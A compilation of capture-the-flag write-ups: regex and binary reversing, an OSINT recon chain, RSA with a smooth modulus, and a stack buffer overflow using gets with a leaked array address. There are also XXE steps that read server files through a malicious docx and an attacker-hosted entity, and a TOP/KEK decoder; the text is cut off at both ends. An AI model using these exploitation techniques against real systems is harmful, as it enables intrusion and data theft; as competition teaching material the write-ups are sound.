(!checkRegex("\\w{3}\\{.*\\}", inPswd)) System.Console.WriteLine("Failed at check B"); if (!checkRegex("_s.*e_", inPswd)) System.Console.WriteLine("Failed at check C"); if (!checkRegex("\\{o{2}O{2}o{2}", inPswd)) System.Console.WriteLine("Failed at check D"); if (!checkRegex("O{2}o{2}O{2}\\}", inPswd)) System.Console.WriteLine("Failed at check E"); if (!checkRegex("sup3r_r3g3x_challenge", inPswd)) System.Console.WriteLine("Failed at check F"); // Finish System.Console.WriteLine("Finished! Enter 'q' in next prompt to quit"); }}I then just decided to try and match all the regex expressions. We know we're to use strictly 40 characters, no more and no less. Our string must include "{ooOOoo", "OOooOO}", "sup3r_r3g3x_challenge", and there must be an "_s" with a string in between followed by a "e_", and we can have a three letter word before our first bracket. Well, we know a flag follows EKO{}, so we can start with that. We then know "ooOOoo" must follow the opening brace, and we by throwing in "_sup3r_r3g3x_challenge_", we satisfy both the need of having "sup3r_r3g3x_challenge" and the "_s.*e_" regex pattern. Then finally we need "OOooOO}".Putting this together, we get our flag that's exactly 40 characters. We can test that it's right by running it through our program that we created from the lower-level byte code, and it passes all the checks.<span>Flag: EKO{ooOOoo_sup3r_r3g3x_challenge_OOooOO}</span> |
#Problem Statement
>Bernie Sanders 2018
>[consul](https://s3.amazonaws.com/hackthevote/consul.dcdcdac48cdb5ca5bc1ec29ddc53fb554d814d12094ba0e82f84e0abef065711)
#Solution
Because this is a reversing problem without a netcat server, we can be pretty sure we are looking for `flag{something}`The hex for flag is `66 6c 61 67` so can we keep an eye out for these values.
We first download the binary they provided and run it. We can see that all it prints out is `Poor Bernie.`
Then, we can run nm on the file to look at the symbols and data of the file.
>nm consul.dcdcdac48cdb5ca5bc1ec29ddc53fb554d814d12094ba0e82f84e0abef065711
```0000000000601280 d b00000000006012a0 d b000000000006012e0 d b100000000006012fc d b20000000000601320 d b30000000000601358 A __bss_start0000000000400874 T c10000000000400892 T c1_00000000004008ef T c20000000000400925 T c30000000000400828 T c400000000004009b3 T c50000000000400a3a T c550000000000400a09 T c8000000000040056c t call_gmon_start0000000000601358 b completed.60920000000000601260 D __data_start0000000000601260 W data_start0000000000400590 t deregister_tm_clones0000000000400600 t __do_global_dtors_aux0000000000601008 t __do_global_dtors_aux_fini_array_entry0000000000400a77 T dont_call_me0000000000601268 D __dso_handle0000000000601018 d _DYNAMIC0000000000601358 A _edata0000000000601370 A _end0000000000400ab2 T fake_help0000000000400bfc T _fini0000000000400620 t frame_dummy0000000000601000 t __frame_dummy_init_array_entry0000000000400f90 r __FRAME_END__0000000000601200 d _GLOBAL_OFFSET_TABLE_ w __gmon_start__0000000000400b16 T help00000000004004b8 T _init0000000000601008 t __init_array_end0000000000601000 t __init_array_start0000000000400c08 R _IO_stdin_used w _ITM_deregisterTMCloneTable w _ITM_registerTMCloneTable0000000000601010 d __JCR_END__0000000000601010 d __JCR_LIST__ w _Jv_RegisterClasses0000000000400b60 T __libc_csu_fini0000000000400b70 T __libc_csu_init U __libc_start_main@@GLIBC_2.2.50000000000601368 b m00000000000400b3d T main U malloc@@GLIBC_2.2.50000000000601360 b mem U printf@@GLIBC_2.2.5 U puts@@GLIBC_2.2.50000000000400ad9 T real_help00000000004005c0 t register_tm_clones0000000000400540 T _start U strlen@@GLIBC_2.2.500000000004007b0 T sub_198A00000000004006c0 T sub_41F2000000000040064c T sub_43E80000000000400738 T sub_9F360000000000601358 D __TMC_END__ U usleep@@GLIBC_2.2.5```
We can see that there is local data stored at `b` `b0` `b1` `b2` `b3` denoted by `d`
We can also see a multitude of interesting functions denoted by `T``help` `real_help` `fake_help``dont_call_me` `c55` `c8` `c5` `c3` `c2` `c1_` `c1`
Hmmm interesting... 1, 1, 2, 3, 5, 8... It seems like the fibonacci sequence to me.
We can then use gdb to call these functions and see what they do.
>gdb consul.dcdcdac48cdb5ca5bc1ec29ddc53fb554d814d12094ba0e82f84e0abef065711
>break main
>run
>call real_help()
We can confirm that the fibonacci sequence has something to do with this problem by looking at the output of `real_help````Leonardo De Pisa? Who's that–The next president?```If you google this, fibonacci is the first result.
Then, we proceeded to calling c1, c1_, c2, c3, c5, c8 in order and find that c8 gives a segmentation fault. So we use objdump to decompile the program look at the code for the function c8
>objdump -d consul.dcdcdac48cdb5ca5bc1ec29ddc53fb554d814d12094ba0e82f84e0abef065711
```0000000000400a09 <c8>: 400a09: 55 push %rbp 400a0a: 48 89 e5 mov %rsp,%rbp 400a0d: 8b 05 4d 09 20 00 mov 0x20094d(%rip),%eax # 601360 <mem> 400a13: 83 c0 09 add $0x9,%eax 400a16: 89 05 44 09 20 00 mov %eax,0x200944(%rip) # 601360 <mem> 400a1c: bf 80 12 60 00 mov $0x601280,%edi 400a21: e8 12 fd ff ff callq 400738 <sub_9F36> 400a26: 48 89 c6 mov %rax,%rsi 400a29: bf 0c 0c 40 00 mov $0x400c0c,%edi 400a2e: b8 00 00 00 00 mov $0x0,%eax 400a33: e8 c8 fa ff ff callq 400500 <printf@plt> 400a38: 5d pop %rbp 400a39: c3 retq```
Hmm it's messing with the data at 0x601360 as denoted by the # comments. Let's take a look what is around that address
>x/80x 0x601320Note: we use 0x601320 because we want to see the data before and after that address.
We can see that there are interesting values before 0x601360
````0x601320 <b3>: 0x0e535642 0x0e525c53 0x540e6157 0x6453605d0x601330 <b3+16>: 0x0e1c6053 0x0e626330 0x5362544f 0x56620e600x601340 <b3+32>: 0x0e1a624f 0x15635d67 0x550e5360 0x0e525d5d0x601350 <b3+48>: 0x550e5d62 0x00001c5d 0x00000000 0x00000000```
b3? That sounds familiar. It's the local data as shown from nm. And since we see printf later on in the function c8, we can deduce that something around here may be the flag! So we look at more data before it and look for the hex values for flag: `66 6c 61 67`
>x/80x 0x601260
```0x601260: 0x00000000 0x00000000 0x00000000 0x000000000x601270: 0x00000000 0x00000000 0x00000000 0x000000000x601280 \: 0x27212c26 0x2932373b 0x291f2534 0x25221f2e0x601290 <b+16>: 0x25292e32 0x00003de1 0x00000000 0x000000000x6012a0 <b0>: 0x6162583f 0x62576554 0x13583713 0x54665c430x6012b0 <b0+16>: 0x5b4a1332 0x13661a62 0x67545b67 0x478673d50x6012c0 <b0+32>: 0x6113585b 0x13676b58 0x66586563 0x6158575c0x6012d0 <b0+48>: 0x00003267 0x00000000 0x00000000 0x000000000x6012e0 <b1>: 0x5814594b 0x1b62585d 0x59581468 0x6a6659670x6012f0 <b1+16>: 0x59361459 0x595d6266 0xa2b0cb22 0x002d68670x601300 <b2+4>: 0x59141300 0x01072303 0x00005913 0x000000000x601310: 0x00000000 0x00000000 0x00000000 0x000000000x601320 <b3>: 0x0e535642 0x0e525c53 0x540e6157 0x6453605d0x601330 <b3+16>: 0x0e1c6053 0x0e626330 0x5362544f 0x56620e600x601340 <b3+32>: 0x0e1a624f 0x15635d67 0x550e5360 0x0e525d5d0x601350 <b3+48>: 0x550e5d62 0x00001c5d 0x00000000 0x000000000x601360 <mem>: 0x00000000 0x00000000 0x00000000 0x000000000x601370: 0x00322e37 0x3a434347 0x65442820 0x6e6169620x601380: 0x342e3420 0x322d372e 0x2e342029 0x00372e340x601390: 0x79732e00 0x6261746d 0x74732e00 0x62617472```
If we look at the first hex value that's not 0s, it is `0x27212c26`Hmmmmm... `0x27212c26` vs `66 6c 61 67` Seems pretty similar right?We convert `0x27212c26` from little endian to big endian by reversing the order in groups of 2 and add 40 and we get the hex for flag!
Now we just have to repeat the same thing for the following values of hex and we get our flag.
#Flag
>flag{write_in_bernie!}
Note: this method only worked because the encryption of the flag was very simple, but a flag is a flag. |
# CSAW CTF 2016 Quals: Fuzyll
**Category:** Recon**Points:** 200**Solves:** 128**Description:**
All files are lowercase with no spaces. Start here: http://fuzyll.com/files/csaw2016/start
Author: fuzyll
## Write-up***CSAW 2016 FUZYLL RECON PART 1 OF ?: People actually liked last year's challenge, so CSAW made me do it again... Same format as last year, new stuff you need to look up. The next part is at /csaw2016/<the form of colorblindness I have>.***
Stalking him on Twitter reveals some [tweets](https://twitter.com/fuzyll/status/611017028766420992)that give a hint to what kind of [color blindness](https://twitter.com/fuzyll/status/741830755463114752)he had. Of course you could also brute force it. * http://fuzyll.com/files/csaw2016/deuteranomaly
You'll see an image of brownish strawberries, presumably what color blind people see. If you download the image, it'll be downloaded normally as a txt file. If you open it you'll see this in the exif:
***CSAW 2016 FUZYLL RECON PART 2 OF ?: No, strawberries don't look exactly like this, but it'sreasonably close. You know what else I can't see well? /csaw2016/<the first defcon finals challenge i ever scored points on***
So after doing some searching, we find that his first DefCon Finals waas 19 and that he was on a teamcalled "Hates Irony". By simply brute forcing it, we find that it was tomato.
* http://fuzyll.com/files/csaw2016/tomato
So after going to the URL you'll find gibberish like this:
***ÃâÁæ@òðñö@ÆäéèÓÓ@ÙÅÃÖÕ@×ÁÙã@ó@–†@oz@É@„–•}£@…¥…•@“‰’…@£–”£–…¢Z@Á•¨¦¨k@–¤£¢‰„…@–†@ÃãÆ¢k@É}¥…@‚……•@—“¨‰•‡@@†‰™@”–¤•£@–†@æ–™“„@–†@æ™Ã™†£@–¥…™@£ˆ…@—¢£@¨…™@M•…¥…™@£ˆ–¤‡ˆ£@É}„@‚…@¢¨‰•‡@£ˆ£@†£…™@ビ¨¢”k@‚¤£@ˆ…™…@¦…@™…]K@㈅@•…§£@—™£@‰¢@£@aƒ¢¦òðñöaL”¨@”‰•@æ–æ@ƒˆ™ƒ£…™}¢@•”…nK***
After some Google-Fu we found that it was encoded in Cryliic in CP933 and after [converting](https://2cyr.com/decode/?lang=en)it into WINDOWS-1252 we find this:
***CSAW 2016 FUZYLL RECON PART 3 of ?: I don't even like tomatoes! Anyway, outside of CTFs, I've been playing a fair amount of World of WarCraft over the past year (never thought I'd be saying that after Cataclysm, but here we are). The next part is at /csaw2016/<my main WoW character's name>.***
Well I knew nothing about WoW so I was looking up stuff on forums and got nowhere. Lars figured out fromhis [blog](http://fuzyll.com/2015/blackfathom-deep-dish/) that he was a part of a guild called 'Blackfathom Deep Dish' on US-Turalyon. He then used another website to track down the membersand based off the join dates he determined that his IGN was elmrik.
* http://fuzyll.com/files/csaw2016/elmrik
This part absolutely sucked.
You got this piece of [code]() and had to write the decoding method. Lets just say I hate Ruby now.
```#!/usr/bin/env ruby
CHARS = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "B", "C", "D", "F", "G", "H", "J", "K", "L", "M", "N", "P", "Q", "R", "S", "T", "V", "W", "X", "Y", "Z", "b", "c", "d", "f", "g", "h", "j", "k", "l", "m", "n", "p", "q", "r", "s", "t", "v", "w", "x", "y", "z"]
def encode(string) input = string.bytes.inject {|x, y| (x << 8) + y } output = "" while input > 0 output = CHARS[input % 52].to_s + output input /= 52 end return outputend
def decode(input) i = 0 output = 0 input.split(//).reverse.each do |c| output += CHARS.index(c) * (52 ** i) i += 1 end return output.to_s(16).scan(/../).map { |x| x.hex.chr }.joinend
message = "JQSX2NBDykrDZ1ZHjb0BJt5RWFkcjHnsXvCQ4LL9H7zhRrvVZgLbm2gnXZq71Yr6T14tXNZwR1Dld2Y7M0nJsjgvhWdnhBll5B8w0VP3DFDjd3ZQBlcV4nkcFXBNzdPCSGMXQnQ7FTwcwbkG6RHX7kFHkpvgGDDGJvSDSTx7J6MFhRmTS2pJxZCtys4yw54RtK7nhyW6tnGmMs1f4pW6HzbCS1rSYNBk3PxzW9R1kJK54R2b7syLXd7x1Mr8GkMsg4bs3SGmj3rddVqDf4mTYq1G3yX1Rk9gJbj919Jw42zDtT2Jzz4gN0ZBmXPsBY9ktCLPdFrCPZ33NKJy5m37PK0GLXBxZz9k0cjzyt8x199jMsq7xrvNNgDNvgTbZ0xjZzHhkmrWrCmD7t4q4rWYFSJd4MZBxvnqc0VgGzdkq8jSJjnwcynq9VfH22WCQSdPKw48NkZL7QKGCT94pSb7ZSl2G6W37vBlW38q0hYDVcXTTDwr0l808nDPF6Ct1fPwKdNGKbRZ3Q3lHKMCYBC3w8l9VRjcHwMb1s5sMXM0xBvF8WnWn7JVZgPcXcwM2mDdfVkZsFzkrvVQmPfVNNdk9L5WtwDD8Wp9SDKLZBXY67QkVgW1HQ7PxnbkRdbnQJ4h7KFM2YnGksPvH4PgW2qcvmWcBz62xDT5R6FXJf49LPCKL8MQJLrxJpQb7jfDw0fTd00dX1KNvZsWmfYSTl1GxPlz1PvPSqMTQ036FxSmGb6k42vrzz2X90610Z"puts decode(message)```
After breaking the message you find this: ***CSAW 2016 FUZYLL RECON PART 4 OF ?: In addition to WoW raiding, I've also been playing a bunch of Smash Bros. This year, I competed in my first major tournament! I got wrecked in every event I competed in, but I still had fun being in the crowd. This tournament in particular had a number of upsets (including Ally being knocked into losers of my Smash 4 pool). On stream, after one of these big upsets in Smash 4, you can see me in the crowd with a shirt displaying my main character! The next part is at /csaw2016/<the winning player's tag>.***
It was pretty easy to figure out that he was at CEO 2016, and thanks to a fantastic [Reddit Community](https://www.reddit.com/r/smashbros/comments/4pnkud/ceo_2016_smash_4_singles_upsets_day_1/)and a bit of brute forcing we find out that the winning player's match of the stream he was on was Jade winning 2-1 over Trela.
* http://fuzyll.com/files/csaw2016/jade
This was absolutely easy to do on Linux due to the way that file types are determined there. I just unzipped itand opened the file. Finding a pretty picture. 
After checking the EXIF again you find this:
***CSAW 2016 FUZYLL RECON PART 5 OF 6: I haven't spent the entire year playing video games, though. This past March, I spent time completely away from computers in Peru. This shot is from one of the more memorable stops along my hike to Machu Picchu. To make things easier on you, use only ASCII: /csaw2016/<the name of these ruins>.***
AFter using the reverse Google Images search I found that it was Wiñay Wayna, or Winay Wayna.
* http://fuzyll.com/files/csaw2016/winaywayna
***CSAW 2016 FUZYLL RECON PART 6 OF 6: Congratulations! Here's your flag{WH4T_4_L0NG_4ND_STR4NG3_TRIP_IT_H45_B33N}.***
## Flag`flag{WH4T_4_L0NG_4ND_STR4NG3_TRIP_IT_H45_B33N}` |
#Problem Description
At his last rally, Trump made an interesting statement:
>I know RSA, I have the best RSA.>The more bits I have, the more secure my cyber, and my modulus is YUUUUUUUUUUUUUGE>We don't believe his cyber is as secure as he says it is. >See if you can break it for us
#Overview
Determine the RSA plaintext given ciphertext, public exponent, and modulus
#Solution
*Note: the numbers used for this challenge, due to their size (~157000 digits), have been omitted from this writeup. Please refer to the file titled best_rsa.txt for the numerical values.
Opening best_rsa.txt, we find an overwhelmingly large modulus n and ciphertext c, and a public exponent e (65537). Without a private key d, the only option is to factor n, take the totient phi(n), and find the modular inverse of e with phi(n). From first glance, this seems impossible - for how could we factor a coprime modulus of such magnitude in a reasonable amount of time? However, upon closer inspection, we find something interesting about n: it ends in ...4619598388671875. Thus, we can conclude that 5 is a factor of the modulus. Despite this, we don't know whether or not the modulus is composed of exactly two primes, and it seems unlikely given its size. Just to be sure, we compute n mod every integer between 1 and 100 by the following python snippet:
>>> print([n%i for i in range(1,100)]) >>> [0L, 1L, 0L, 3L, 0L, 3L, 0L, 3L, 0L, 5L, 0L, 3L, 0L, 7L, 0L, 3L, 0L, 9L, 0L, 15L, 0L, 11L, 0L, 3L, 0L, 13L, 0L, 7L, 0L, 15L, 0L, 3L, 0L, 17L, 0L, 27L, 0L, 19L, 0L, 35L, 0L, 21L, 0L, 11L, 0L, 23L, 0L, 3L, 0L, 25L, 0L, 39L, 0L, 27L, 0L, 35L, 0L, 29L, 0L, 15L, 0L, 31L, 0L, 3L, 0L, 33L, 0L, 51L, 0L, 35L, 0L, 27L, 0L, 37L, 0L, 19L, 0L, 39L, 0L, 35L, 0L, 41L, 0L, 63L, 0L, 43L, 0L, 11L, 0L, 45L, 0L, 23L, 0L, 47L, 0L, 3L, 0L, 49L, 0L]
We find that n is divisible by every odd integer in that range, meaning that the modulus is composed of many prime factors and that we need to compute phi(n) in a manner other than the traditional (p-1)(q-1) for dual-prime moduli. From this point, I didn't trust that Python would be able to numeric operations with these numbers, so I transitioned to Mathematica instead. Luckily, Mathematica has a built-in totient function. Taking advantage of this, we compute: phi = EulerPhi[n]
Once we have phi(n), we must compute d by finding the modular multiplicative inverse of e and phi(n).
e = 65537 d = PowerMod[e,-1,phi] (* -1 denotes inverse *)
We now have our tuple, (c,d,n), and we proceed with the normal RSA decryption process: m = c<sup>d</sup> mod n.
m = BaseForm[PowerMod[c,d,n],16] ( * This took about 3 hours, but could be sped up with usage of the Chinese Remainder Theorem * )
It looks as if m begins with 474946383961 - that's the GIF magic number. Thus, we write m into a GIF file: BinaryWrite["flag.gif", IntegerDigits[m, 256]] Close["flag.gif"]
We see a picture of Trump with the Chinese flag in the background, and the flag l33tly displayed:
 #Flag
flag{s4ved_by_CH1N4_0nc3_aga1n}
Yes, it is a pun - a pity we didn't use CRT :( |
Description:Privjet Komrade!While doing observing of Amerikanski's voting infrascture we find interesting box. We send operative to investigate. He return with partial input like showing below. He say box very buggy but return encrypted data sometimes. Figure out what box is do; maybe we finding embarass material to include in next week bitcoin auction, yes?ebug": true, "data": "BBBBBBBBBBBBBBBB", "op": "enc"}<span>nc boxesofballots.pwn.republican 9001Solution: </span>ballots.py<span>Source: </span>blocks.py |
# The best RSA (crypto 250)
###ENG[PL](#pl-version)
This was a very badly designed task.We prepared an expected solver, but we didn't get the flag simply because we assumed this can't be a right solution.Apparently author thought it's a great idea to prepare a task which requires hours (!) of heavy multithreaded computations.
We get [data](data.txt) with a very very long ciphertext and very very long modulus.However it's quite simple to notice that the modulus is divisible by 5, and quick check shows that it can be actually factored into primes <= 251.The only problem is that there are about 1500 of each prime, so de modulus is something like:
`n = 3^14XX * 5^14XX * ... * 251^14XX`
We can quickly factor this with small sieve.
The naive approach would be to calculate `d` and `fi(n)` and decrypt the message, but this would take forever.Smarter approach would be to use RSA-CRT, so calculate `c^d mod p1`, `c^d mod p2`... where `p1 = 3^14XX`, `p2 = 5^14XX` etc, and then we use Chinese Reminder Theorem to calculate the final value.
But this again takes a very very long time to calculate.We even tried to speed this up using Hensel lifting when calculating each of the values, but this didn't help that much.
Therefore we simply decided we missed something here because it's just stupid to force us to run hours of computations.Apparently we didn't and this was the intended solution...
###PL version
To było bardzo źle zaprojektowane zadanie.Napisaliśmy do niego solver, ale nie uzyskaliśmy flagi zwyczajnie dlatego, ze uznaliśmy że to nie może być poprawne rozwiązanie.Najwyraźniej autor uznał za świetny pomysł zadanie wymagające wielu godzin (!) równoległych obliczeń.
Dostajemy [dane](data.txt) z bardzo bardzo długim ciphertextem oraz bardzo bardzo długim modulusem.Niemniej łatwo zauważyc, ze modulus jest podzielny przez 5, a szybkie sprawdzenie pozwala stwierdzić że w ogóle rozkłada sie na iloczyn liczb pierwszych <=251.Jedyny problem jest taki, że każdej z tych liczb jest około 1500 więc modulus to coś w stylu:
`n = 3^14XX * 5^14XX * ... * 251^14XX`
Możemy to szybko rozłożyć prostym sitem.
Naiwne podejście to policzyć `d` oraz `fi(n)` a potem odszyfrować wiadomość, ale to trwałoby wieki.Lepsze podejście to użyć RSA-CRT, policzyć `c^d mod p1`, `c^d mod p2`... gdzie `p1 = 3^14XX`, `p2 = 5^14XX` itd a potem złożyć te rozwiązania za pomocą Chińskiego Twierdzenia o Resztach.
Ale to mimo wszystko trwa bardzo długo.Próbowaliśmy przyspieszyć to za pomocą liftingu Hensela przy liczeniu kolejnych wartości, ale to specjalnie nie pomogło.
W związku z tym uznaliśmy, że coś przeoczyliśmy, no przecież idiotycznym pomysłem byłoby wykonywać wielogodzinne obliczenia.Okazało się jednak, że wg autora to wcale nie takie głupie i takie właśnie było oczekiwane rozwiązanie... |
# Exploit 100: irs
We are given a linux x86 executable file```dan@localhost:100-irs$ file irsirs: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=00041d69ae706e1877c8a618dc092b33499c4d6d, stripped```
Connecting to the server, or running the binary, we get a tax return filing system,with an entry for Donald Trump. We are told the flag is Trump's password.
The system provides a few options:
```Welcome to the IRS!How may we serve you today?1. File a tax return2. Delete a tax return3. Edit a tax return4. View a tax return5. Exit```
To Create a return we must provide a name, password, income, and deductable.Deleting, Editing, and Viewing the files require the name and password. From hereI used BinaryNinja to look for the vulnerability.
The vulnerability was easy to spot: there are no stack canaries, and the functionto edit a tax return contains a call to gets with a stack buffer.

Also, all password checks happen in main() before calls to other function handlers,so we just need to overwrite the return address with the view function, and have itprint out Donald Trump's return (the only parameter is an index for which tax return).
About the returns, they are stored in an array on the stack, with a limit of5 returns at a time, and each has the structure:```struct tax_return { char name[0x20]; char pass[0x20]; int income; int deductable;}```
The only problem is leaking a stack address in order to find out where the tax returnsare stored in memory. It turns out they provide that exact address for us if we attemptto create more tax returns than allowed:```printf("If this problem persists, contact us at this address: %p", tax_return_array);```
1. leak the array address2. call view(array address)3. get flag
the solution is in [solve.py](solve.py) using pwntools
```dan@localhost:100-irs$ ./solve.py[+] Opening connection to irs.pwn.republican on port 4127: Done[+] Recieving all data: Done (526B)[*] Closed connection to irs.pwn.republican port 4127Your changes have been recorded!--------------------------------------------------------------------------------| Name: Donald Trump || Income: 1316134911 || Deductable: 1316134911 || Password: flag{c4n_1_g3t_a_r3fund} |--------------------------------------------------------------------------------``` |
Try to upload file some file with `debug=1` parametr (Uncomment line in html)We see `Parsing docx error`Create empty docx file, name him `test.docx`Open docx file with 7-zip Open `[Content_Types].xml`, this`s xml fileWhen you see xml file, you should think `Hmm, may be XXE vulnerability?`Now, use google for search all about XXE (XML ENTITY) (https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing)Try to watch file `/var/www/html/index.php` with SYSTEM ENTITY AND PHP I/O and XXE vulnInject in script your ENTITY (Change `yoursite` to url to your site (or link to file on file hosting))Update Content Type file in 7-zipCreate xxe.txt in root directory of your site and put into them this code: Upload file.Fine! You`re watch errors... Open Page Source Code (Ctrl + U)You`ll see errors Decode base64 from this error (From `http://?` to ` in <b>`)You got php code when you can watch flag named file `flaflaflag.php`Change in xxe.txt `/var/www/html/index.php` to `/var/www/html/flaflaflag.php` and update them on your site (or file hosting)Upload your docx againDecode base64 againYou`re great! |
# Top Kek (crypto 50)
###ENG[PL](#pl-version)
In the task we get encrypted data:
```KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP!! KEK!!! TOP!! KEK!!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP!!!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!!!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK!!!!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP! KEK!! TOP! KEK!!!! TOP!!! KEK! TOP! KEK!!! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP!!! KEK!!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK!! TOP! KEK!!! TOP!! KEK!! TOP!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!!!! KEK!! TOP! KEK!! TOP!! KEK!!!!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP!!! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK! TOP!!!!! KEK! TOP!```
We initially thought this is some kind of esolang similar to Ook! but then we figured that it has to be simpler - there is only alternating `TOP` and `KEK` and `!` after them.After a while we finally guessed that this can be simply binary code with `TOP` or `KEK` signaling 0/1 and `!` signaling repeats.
So we prepared a code:
```pythonimport codecs
with codecs.open("data.txt") as input_file: data = input_file.read() result = "" for entry in data.split(" "): repeat = len(entry) - 3 if entry[0] == "T": result += "1" * repeat else: result += "0" * repeat print(result) chunked = [result[i:i + 8] for i in range(0, len(result) - 7, 8)] print(chunked) converted = [chr(int(c, 2)) for c in chunked] print("".join(converted))```
Which gave us the flag: `flag{T0o0o0o0o0P______1m_h4V1nG_FuN_r1gHt_n0W_4R3_y0u_h4v1ng_fun______K3K!!!}`
###PL version
W zadaniu dostajemy zakodowane dane:
```KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP!! KEK!!! TOP!! KEK!!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP!!!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!!!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK!!!!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP! KEK!! TOP! KEK!!!! TOP!!! KEK! TOP! KEK!!! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP!!! KEK!!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK!! TOP! KEK!!! TOP!! KEK!! TOP!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!!!! KEK!! TOP! KEK!! TOP!! KEK!!!!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP!!! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK! TOP!!!!! KEK! TOP!```
Początkowo myśleliśmy że to jakiś ezoteryczny język programowania podobny do Ook! ale potem doszliśmy do wniosku, że musi być jeszcze prościej - mamy w końcu tylko naprzemienne `TOP` i `KEK` oraz `!` za każdym z nich.Po pewnym czasie zgadliśmy wreszcie, że to może być po prostu kod binarny gdzie `TOP` lub `KEK` określają 0/1 a `!` oznacza powtórzenia.
Napisaliśmy prosty skrypt:
```pythonimport codecs
